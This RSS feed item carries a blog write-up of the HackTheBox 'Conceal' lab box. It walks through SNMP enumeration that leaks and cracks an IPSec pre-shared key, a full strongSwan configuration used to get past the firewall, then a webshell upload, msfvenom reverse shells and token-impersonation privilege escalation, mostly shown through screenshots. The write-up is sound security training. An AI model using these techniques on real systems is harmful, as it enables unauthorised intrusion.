<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Tudor Gheorghiu</title>
    <description>The latest articles on DEV Community by Tudor Gheorghiu (@tudorog).</description>
    <link>https://dev.to/tudorog</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F493536%2F41ce8652-8dd8-48d6-a6ff-b6f8e435b32e.jpeg</url>
      <title>DEV Community: Tudor Gheorghiu</title>
      <link>https://dev.to/tudorog</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/tudorog"/>
    <language>en</language>
    <item>
      <title>Conceal - HackTheBox Writeup</title>
      <dc:creator>Tudor Gheorghiu</dc:creator>
      <pubDate>Sun, 18 Oct 2020 17:57:47 +0000</pubDate>
      <link>https://dev.to/tudorog/conceal-hackthebox-writeup-1hgn</link>
      <guid>https://dev.to/tudorog/conceal-hackthebox-writeup-1hgn</guid>
      <description>&lt;h1&gt;
  
  
  HTB Conceal Box Write-up
&lt;/h1&gt;

&lt;p&gt;Conceal was a hard box when it comes to Initial Enumeration and the firewall, but after that, the user part was pretty straightforward (shell was a little tricky since it's a Windows box). Root wasn't hard at all, but you had to fiddle around a little to make the exploit work.&lt;/p&gt;

&lt;h2&gt;
  
  
  Initial Enumeration
&lt;/h2&gt;

&lt;p&gt;I started the initial enum for this box with the usual nmap scan, but it was really slow. This usually means there is a firewall, so I couldn't do an nmap scan. Instead, I used masscan, which is much faster since it sends async requests and handles responses, to see what ports we have access to outside the firewall. You can read more about masscan &lt;a href="https://github.com/robertdavidgraham/masscan" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@fast:/home/roacker# masscan -p 1-65535,U:1-65535 --rate=1000 10.10.10.116 -e tun0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2019-02-13 16:37:08 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 161/udp on 10.10.10.116
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So port 161/udp is open. Let's run a nmap service scan on it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@fast:/home/roacker# nmap -Pn -sV -sU -p 161 10.10.10.116

Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-13 10:39 CST
Nmap scan report for 10.10.10.116
Host is up.

PORT  STATE SERVICE VERSION
161/udp open snmp  SNMPv1 server (public)
Service Info: Host: Conceal

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.45 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Great! It's SNMP. Let's enumerate this service. I will use snmpwalk with the snmp-mibs plugin installed, which will make the output more human readable. Let's see what data we can obtain through SNMP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@fast:/home/roacker# snmpwalk -mALL -c public -v 2c 10.10.10.116

The output is huge, so I am only going to select what I think is interesting:

SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.311.1.1.3.1.1
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (3147631) 8:44:36.31
SNMPv2-MIB::sysContact.0 = STRING: IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43
SNMPv2-MIB::sysName.0 = STRING: Conceal
SNMPv2-MIB::sysLocation.0 = STRING:

TCP-MIB::tcpConnState.0.0.0.0.21.0.0.0.0.0 = INTEGER: listen(2)
TCP-MIB::tcpConnState.0.0.0.0.80.0.0.0.0.0 = INTEGER: listen(2)
TCP-MIB::tcpConnState.0.0.0.0.135.0.0.0.0.0 = INTEGER: listen(2)
TCP-MIB::tcpConnState.0.0.0.0.445.0.0.0.0.0 = INTEGER: listen(2)
TCP-MIB::tcpConnState.0.0.0.0.49664.0.0.0.0.0 = INTEGER: listen(2)
TCP-MIB::tcpConnState.0.0.0.0.49665.0.0.0.0.0 = INTEGER: listen(2)
TCP-MIB::tcpConnState.0.0.0.0.49666.0.0.0.0.0 = INTEGER: listen(2)
TCP-MIB::tcpConnState.0.0.0.0.49667.0.0.0.0.0 = INTEGER: listen(2)
TCP-MIB::tcpConnState.0.0.0.0.49668.0.0.0.0.0 = INTEGER: listen(2)
TCP-MIB::tcpConnState.0.0.0.0.49669.0.0.0.0.0 = INTEGER: listen(2)
TCP-MIB::tcpConnState.0.0.0.0.49670.0.0.0.0.0 = INTEGER: listen(2)

HOST-RESOURCES-MIB::hrDeviceDescr.7 = STRING: WAN Miniport (IKEv2)
HOST-RESOURCES-MIB::hrDeviceDescr.8 = STRING: WAN Miniport (PPTP)
HOST-RESOURCES-MIB::hrDeviceDescr.9 = STRING: Microsoft Kernel Debug Network Adapter
HOST-RESOURCES-MIB::hrDeviceDescr.10 = STRING: WAN Miniport (L2TP)
HOST-RESOURCES-MIB::hrDeviceDescr.11 = STRING: Teredo Tunneling Pseudo-Interface
HOST-RESOURCES-MIB::hrDeviceDescr.12 = STRING: WAN Miniport (IP)
HOST-RESOURCES-MIB::hrDeviceDescr.13 = STRING: WAN Miniport (SSTP)
HOST-RESOURCES-MIB::hrDeviceDescr.14 = STRING: WAN Miniport (IPv6)
HOST-RESOURCES-MIB::hrDeviceDescr.15 = STRING: Intel(R) 82574L Gigabit Network Connection
HOST-RESOURCES-MIB::hrDeviceDescr.16 = STRING: WAN Miniport (PPPOE)
HOST-RESOURCES-MIB::hrDeviceDescr.17 = STRING: WAN Miniport (Network Monitor)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We leaked a list of listening services which will help us after we successfully bypass the firewall. I noticed there is an IPSec service running and we also have the IKE Pre-Shared Key which is hashed. We can easily crack that with &lt;a href="https://crackstation.net" rel="noopener noreferrer"&gt;CrackStation&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F33j60nz5xeoa06agufn8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F33j60nz5xeoa06agufn8.png" alt="Crackstation Cracked Password"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We now have the preshared key: Dudecake1!&lt;/p&gt;

&lt;p&gt;Enumerating with another tool called &lt;a href="https://github.com/pwnieexpress/pwn_plug_sources/tree/master/src/snmpenum" rel="noopener noreferrer"&gt;snmpenum&lt;/a&gt; can give us some other cool results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;----------------------------------------
    LISTENING TCP PORTS
----------------------------------------

21
80
135
445
49664
49665
49666
49667
49668
49669
49670

----------------------------------------
    USERS
----------------------------------------

Guest
Destitute
Administrator
DefaultAccount
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Great! We also leaked a user: Destitute&lt;/p&gt;

&lt;p&gt;We know how to bypass the firewall. I will establish an IPSec VPN tunnel and we will be able to access the other services behind the firewall. Let's get to work!&lt;/p&gt;

&lt;h2&gt;
  
  
  Bypassing Firewall
&lt;/h2&gt;

&lt;p&gt;This was the hardest part of the box. Getting the config file correct in order to successfully connect is not as easy as you may think. It took me 2 days to get the config file correct.&lt;/p&gt;

&lt;p&gt;First we will need an IPSec client on our ubuntu machine. We can use StrongSwan which is the updated and maintained fork of OpenSwan. You can install it with the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;apt-get &lt;span class="nb"&gt;install &lt;/span&gt;strongswan
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have everything we need for the IPSec (our Ip: 10.10.13.11 | VPN IP: 10.10.10.116 | PSK: Dudecake1!) tunnel except the IKE phases which we can retrieve fairly easily:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@fast:/home/roacker# ike-scan 10.10.10.116
Starting ike-scan 1.9.4 with 1 hosts &lt;span class="o"&gt;(&lt;/span&gt;http://www.nta-monitor.com/tools/ike-scan/&lt;span class="o"&gt;)&lt;/span&gt;
10.10.10.116  Main Mode Handshake returned &lt;span class="nv"&gt;HDR&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;CKY-R&lt;span class="o"&gt;=&lt;/span&gt;838e57d6429c37d2&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;SA&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="nv"&gt;Enc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3DES &lt;span class="nv"&gt;Hash&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;SHA1 &lt;span class="nv"&gt;Group&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2:modp1024 &lt;span class="nv"&gt;Auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;PSK &lt;span class="nv"&gt;LifeType&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Seconds LifeDuration&lt;span class="o"&gt;(&lt;/span&gt;4&lt;span class="o"&gt;)=&lt;/span&gt;0x00007080&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;VID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1e2b516905991c7d7c96fcbfb587e46100000009 &lt;span class="o"&gt;(&lt;/span&gt;Windows-8&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;VID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4a131c81070358455c5728f20e95452f &lt;span class="o"&gt;(&lt;/span&gt;RFC 3947 NAT-T&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;VID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;90cb80913ebb696e086381b5ec427b1f &lt;span class="o"&gt;(&lt;/span&gt;draft-ietf-ipsec-nat-t-ike-02&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;VID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4048b7d56ebce88525e7de7f00d6c2d3 &lt;span class="o"&gt;(&lt;/span&gt;IKE Fragmentation&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;VID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;fb1de3cdf341b7ea16b7e5be0855f120 &lt;span class="o"&gt;(&lt;/span&gt;MS-Negotiation Discovery Capable&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;VID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;e3a5966a76379fe707228231e5ce8652 &lt;span class="o"&gt;(&lt;/span&gt;IKE CGA version 1&lt;span class="o"&gt;)&lt;/span&gt;

Ending ike-scan 1.9.4: 1 hosts scanned &lt;span class="k"&gt;in &lt;/span&gt;0.070 seconds &lt;span class="o"&gt;(&lt;/span&gt;14.20 hosts/sec&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; 1 returned handshake&lt;span class="p"&gt;;&lt;/span&gt; 0 returned notify
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the phase is going to be 3des-sha1-modp1024. let's build our ipsec.conf file (in /etc/ipsec.conf):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;config setup
 charondebug="all"

conn conceal
 keyexchange=ikev1
 ike=3des-sha1-modp1024
 esp=3des-sha1
 leftid=Destitute
 left=10.10.13.11
 leftsubnet=10.10.13.0/24
 leftauth=psk
 rightid=%any
 right=10.10.10.116
 rightsubnet=10.10.10.116[tcp/%any]
 rightauth=psk
 auto=add
 type=transport
 fragmentation=yes
 keyingtries=1

include /var/lib/strongswan/ipsec.conf.inc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can now build our ipsec.secrets file (/etc/ipsec.secrets) using the username we leaked from the initial SNMP scan (Destitute):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# This file holds shared secrets or RSA private keys for authentication.

# RSA private key for this host, authenticating it to any other host
# which knows the public part.

# this file is managed with debconf and will contain the automatically created private key
#include /var/lib/strongswan/ipsec.secrets.inc
#
Destitute %any : PSK Dudecake1!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now for the moment of truth: we are going to connect to the VPN:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@fast:~/conceal# systemctl start ipsec.service
root@fast:~/conceal# ipsec up conceal
initiating Main Mode IKE_SA conceal[1] to 10.10.10.116
generating ID_PROT request 0 [ SA V V V V V ]
sending packet: from 10.10.13.11[500] to 10.10.10.116[500] (236 bytes)
received packet: from 10.10.10.116[500] to 10.10.13.11[500] (208 bytes)
parsed ID_PROT response 0 [ SA V V V V V V ]
received MS NT5 ISAKMPOAKLEY vendor ID
received NAT-T (RFC 3947) vendor ID
received draft-ietf-ipsec-nat-t-ike-02\n vendor ID
received FRAGMENTATION vendor ID
received unknown vendor ID: fb:1d:e3:cd:f3:41:b7:ea:16:b7:e5:be:08:55:f1:20
received unknown vendor ID: e3:a5:96:6a:76:37:9f:e7:07:22:82:31:e5:ce:86:52
generating ID_PROT request 0 [ KE No NAT-D NAT-D ]
sending packet: from 10.10.13.11[500] to 10.10.10.116[500] (244 bytes)
received packet: from 10.10.10.116[500] to 10.10.13.11[500] (260 bytes)
parsed ID_PROT response 0 [ KE No NAT-D NAT-D ]
generating ID_PROT request 0 [ ID HASH ]
sending packet: from 10.10.13.11[500] to 10.10.10.116[500] (76 bytes)
received packet: from 10.10.10.116[500] to 10.10.13.11[500] (68 bytes)
parsed ID_PROT response 0 [ ID HASH ]
IKE_SA conceal[1] established between 10.10.13.11[Destitute]...10.10.10.116[10.10.10.116]
scheduling reauthentication in 10019s
maximum IKE_SA lifetime 10559s
generating QUICK_MODE request 2689023240 [ HASH SA No ID ID ]
sending packet: from 10.10.13.11[500] to 10.10.10.116[500] (196 bytes)
received packet: from 10.10.10.116[500] to 10.10.13.11[500] (188 bytes)
parsed QUICK_MODE response 2689023240 [ HASH SA No ID ID ]
CHILD_SA conceal{1} established with SPIs cdb43748_i e05fc992_o and TS 10.10.13.11/32 === 10.10.10.116/32[tcp]
connection 'conceal' established successfully
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fdwphnme4x1wj2lo8mwfe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fdwphnme4x1wj2lo8mwfe.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We are now connected. We can also access internal services like the IIS on port 80 or the ftp server (which allows anonymous login) on port 21:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F3ammnsachnbww3opvrrq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F3ammnsachnbww3opvrrq.png" alt="upload"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  User
&lt;/h2&gt;

&lt;p&gt;This is now pretty straightforward. We will just need to upload an asp shell to the IIS server and get reverse access. We should use meterpreter since we will need it for root.&lt;/p&gt;

&lt;p&gt;Running dirbuster on port 80 will reveal an Upload directory:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fe0rp1i1h1uhlqhoy7qbz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fe0rp1i1h1uhlqhoy7qbz.png" alt="IIS"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After doing some recon I figured out that everything we upload to the ftp server will be inside of /upload, so let's upload an webshell (I will use one I found on github but you can use whatever you like, RCE is all that matters):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fpd0g0bhfz8u09734j8pa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fpd0g0bhfz8u09734j8pa.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We have user!&lt;/p&gt;

&lt;h2&gt;
  
  
  Root
&lt;/h2&gt;

&lt;p&gt;Before we do anything, we should use msfvenom to create a proper reverse tcp meterpreter shell and execute it from the webshell:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fkm6bhj3gotltcwwcjpbp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fkm6bhj3gotltcwwcjpbp.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We execute it and get a reverse meterpreter shell:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fqa7bi0hy02pylwphtrra.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fqa7bi0hy02pylwphtrra.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here, I tried using meterpreter's getsystem autopwn, but it didn't work. This is where I made a mistake: I thought that normal exploits wouldn't work, and I would need to find a special way to privesc, meaning I skipped my normal enumeration. This set me off in the wrong direction.&lt;/p&gt;

&lt;p&gt;After not finding anything useful, I decided to enumerate more. I executed whoami /priv in order to see my privileges. I can impersonate tokens. Bingo!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fl75b0wypjink2zm1vm2d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fl75b0wypjink2zm1vm2d.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is where I got stuck again. I tried using Hot Potato and different variations of it in order to steal an NT AUTHORITY token and use it to spawn a root shell, but none of the potato exploits worked. I was looking at &lt;a href=""&gt;JuicyPotato&lt;/a&gt;'s repository when I found out they had a massive DB of CLSIDs. I got one of them so I can do the impersonation manually. I then generated another msfvenom virus that spawns a reverse shell on a different port, and then I impersonated that token in order to spawn the shell:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fspcrjvt4mzd5v8e4adk1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fspcrjvt4mzd5v8e4adk1.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's take a look at the meterpreter shell I got:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F6j2ci2yy709xke15aogy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F6j2ci2yy709xke15aogy.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Great! Let's get root!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Ffk18ghqshomeg15xp75l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Ffk18ghqshomeg15xp75l.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>pentest</category>
      <category>hackthebox</category>
      <category>hacking</category>
    </item>
  </channel>
</rss>
